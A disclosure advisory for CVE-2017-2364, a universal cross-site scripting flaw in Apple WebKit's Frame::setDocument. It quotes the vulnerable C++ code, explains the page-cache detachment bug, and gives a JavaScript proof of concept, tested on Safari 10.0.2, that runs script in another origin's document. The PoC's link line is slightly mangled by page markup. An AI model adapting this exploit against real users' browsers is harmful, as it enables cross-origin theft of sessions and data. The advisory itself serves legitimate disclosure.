Apple WebKit Frame::setDocument UXSS

Apple WebKit suffered from a cross site scripting vulnerability in Frame::setDocument (1).


MD5 | 178dc774b0b87a7aaf1a46790648feaf

 Apple WebKit: UXSS via Frame::setDocument (1). 

CVE-2017-2364


void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);

if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();

m_doc = newDocument.copyRef();
...
}

The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.

PoC:

"use strict";

document.write("click anywhere to start");

window.onclick = () => {
let w = open("about:blank", "one");
let d = w.document;

let a = d.createElement("a");
a.href = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>
a.click(); <<------- about:blank -> Document::InPageCache

let it = setInterval(() => {
try {
w.location.href.toString;
} catch (e) {
clearInterval(it);

let s = d.createElement("a"); <<------ about:blank's document
s.href = "javascript:alert(location)";
s.click();
}
}, 0);
};


Tested on Safari 10.0.2(12602.3.12.0.1).


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt


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